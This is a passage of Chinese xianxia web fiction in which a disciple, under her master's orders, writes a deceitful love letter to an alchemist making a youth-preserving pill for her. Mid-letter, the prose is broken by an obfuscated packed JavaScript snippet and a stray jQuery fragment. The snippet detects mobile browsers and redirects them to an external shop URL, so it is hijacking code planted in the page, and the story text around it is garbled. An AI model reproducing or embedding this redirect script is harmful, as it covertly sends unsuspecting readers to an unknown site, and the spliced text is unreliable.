云绾柔从师尊的密室出来时，天已经黑了。她站在门口，门在她身后合拢，发出沉闷的声响，像一枚被放回原处的锁芯，正沿着它该走的轨道缓缓卡进原位。她抬头看了看夜空，暮色已经完全沉下去了，几颗零星的星星正沿着天幕的边缘缓缓亮起来，像一枚枚正在被逐一地点亮。初秋的夜风带着一丝凉意，吹在她的脸上，沿着她的颧骨和下颌线缓缓流淌，却没有带走她心中那些正在缓慢堆积的东西。她深深地吸了一口气，又缓缓吐出。她能感觉到那些郁结正在她的胸腔里缓慢地沉积下来，像一枚正在沿着她呼吸的节奏缓缓下沉的石子。她不知道该往哪个方向走，也不知道自己是否真的还有力气继续走向任何地方。
师尊的话还在她耳边回响——“男人都该利用。”那句话像一枚被她反复听到的、已经被磨得光滑圆润的旧物，她从不同的角度看过它，试着从不同的侧面握住它，但她始终无法相信它能完整贴合她掌心那枚正在缓慢成形的凹陷。她不想承认师尊是对的——可她的经历告诉她，师尊说的那些话确实在某些层面是成立的。王天林、剑无极、血无痕、楚云飞……那些男人，哪一个不是冲着她的身体来的？哪一个不是把她当成炉鼎？哪一个在她“利用”他们的时候，不是在“利用”她？各取所需，谁也不欠谁。那些交易像一条被反复走过的路，路面上已经被脚步磨得平整而光滑，她走在上面时不会再被石子硌到脚，也不会再在转弯处犹豫。她知道自己在这条路上该迈多大的步子，该在哪个路口转弯，该在什么时候放慢速度。她已经学会把那些人的目光换算成等价物，把他们的触碰折算成灵力，她从未为此感到内疚。因为他们要的，和她给的是同一件东西。他们来时便知道那是什么。他们从未在她的掌心里寻找过别的温度。
可叶孤鸿不一样。叶孤鸿是真心对她好的。他不求她给他什么，也不在乎她是谁的棋子、谁的弟子。他看她的时候，她觉得自己不是一枚棋子，她只是恰好坐在他面前，像一枚正在缓慢展开的叶子，而他愿意等它展开。她从未从他那里感受到索取——他给她东西，只是因为想给。
她该怎么办？她问自己这个问题，可她早已知道答案。她没有办法回答，因为她知道无论选择哪一边，她都会失去一件她已经不愿意失去的东西。她继续骗他，继续利用他——可那些正在她体内缓慢生长的温暖，正在沿着她看不见的通道朝着他的方向延伸，她不知道当那些通道被切断时，她是否还能在断裂处重新长出新的根须。她告诉他真相，让他离开她——她会失去他，失去那些温暖，失去那个让她觉得自己还可以被当作人对待的角落。她不知道自己哪一种选择更让她害怕。她只知道，她不能违背师尊的命令。违背师尊的命令，她的日子会更难过。而她已经没有力气承受更多了。
第二天清晨，叶孤鸿的信又到了。送信的弟子将它放在她窗台上，在窗台的晨光中微微泛着暖光，像一枚正在缓慢成形的晨露。她伸手拿起那封信时，指尖触到纸面的温度——他总是在信纸背面轻轻按一下指尖，像是在替信封落下一个他不会写出来、也不会说出口的署名。她打开信封，抽出信纸。
“绾柔，我最近在研制一种新丹药，叫‘驻颜丹’。吃了之后，容颜永驻，永不衰老。我想把它送给你。等我炼好了，亲自给你送去。——孤鸿。”
她看完信，手微微发抖。她的指尖沿着纸面上那些字迹的走向缓慢移动，在每一笔的停顿和收尾处微微停留。驻颜丹——比养颜丹珍贵百倍，需要百年以上的炼丹经验和极其稀有的药材。每一味辅料都难以寻获，炼制时需要连续七天七夜守在炉前，控制火候的起伏。她知道他在信里没有写出来的那部分——那些等待、那些失败、那些他会从炉膛中取出废丹时落进废料篮中的沉默。他为了她，不惜耗费心血和时间。一枚驻颜丹的炼制过程需要消耗大量精力和修为，甚至有损丹师自身的寿元。她知道这些，因为她坐在他身边时，他偶尔会在讲到某味药材时微微停顿，像在犹豫要不要将那味药的风险一并告诉她。他不说，是因为他已经决定要炼了。他已经把那句话说出来了：“我想把它送给你。”而她呢？她在骗他。她将信折好，放进抽屉里。然后她拿出一张纸，铺平在桌面上。她拿起笔，笔尖悬在纸面上方，在纸上停留了很久，像一枚正在犹豫是否要落下的叶子，正在沿着空气的纹理缓慢地寻找它该落的位置。她看着那些空白的纸面，那些尚未被写上去的字迹正在她脑海里逐字成形，像一张还未完成的食谱，她需要确保每一味配料都落在它该在的位置上。她落笔了。
“孤鸿，谢谢你的驻颜丹。我
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743278|206662||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
很期待。你什么时候来？我想你了。——绾柔。”
每一个字都是假的。她没有期待，没有想他。她只是在完成师尊交代的任务——稳住叶孤鸿，让他心甘情愿地继续提供丹药。她看着那些字在纸面上排列成她熟悉的形状，像在看一件她正在缓慢地、一件一件地拆解的东西。她不知道自己写的那些字，有多少是出于职责，有多少是出于她自己也说不清的恳切。那些字像一枚正在缓慢成形的水痕，她不知道它会在何时干透，也不知道当它干透之后，纸面上是否还会留下什么痕迹。她只是看着它们，像在看着一件她正在缓慢地、一件一件地拆解的东西。她不知道自己写的那些话里，有多少是真实，有多少只是她为了活下去而不得不练习的语调。她只是看着那些字，没有移开目光。
她将信装进信封，封好，交给送信的弟子。弟子接过信时，她注意到信纸被折了三折，折痕压得很深。那枚折痕将沿着某种她无法改变的轨迹，一路穿过驿站、穿过晨雾和暮色，最终落在他的窗前。她不知道他看见这道折痕时，会不会想起她手指压过纸面的重量，会不会以为她在折叠时想的是他的温度。
弟子拿着信离开了。房间里重新变得空旷，只有窗外的风声和远处偶尔传来的鸟鸣。她走到窗边，坐下来。月光正从窗口照进来，在她面前的桌面上铺开一片银白色的光带，像一枚正在缓慢展开的信纸。她的目光落在那片光上，她的眼泪无声地滑落下来，沿着颧骨的弧线缓慢滑行，在下颌处汇聚成珠，然后滴落在她交握的手背上。她不知道自己在哭什么——也许是为那封正在被送出的信，为那些她写下的、并不真实的话语，为那些他永远也不会知道的部分。也许她是在为那些正在被她亲手切断的通道而哭——那些正在她体内缓慢生长的通道，被她沿着它们尚未完全成形的边缘逐一合拢。她只是坐在窗前，像一枚已经封好了的信件，正沿着一条她已经铺设好的轨道，朝着那个她早已看清的位置缓慢滑行。她不知道自己还能在这条轨道上停留多久，也不确定当那条轨道的末端终于出现在她视线中时，她是否还记得自己是从哪一站上的车。她只是看着那片月光，像在看着一件她正在缓慢地、一件一件地松开的东西，在它还没有完全从她指缝间滑落之前，她已经学会了如何不去看它坠落的方向。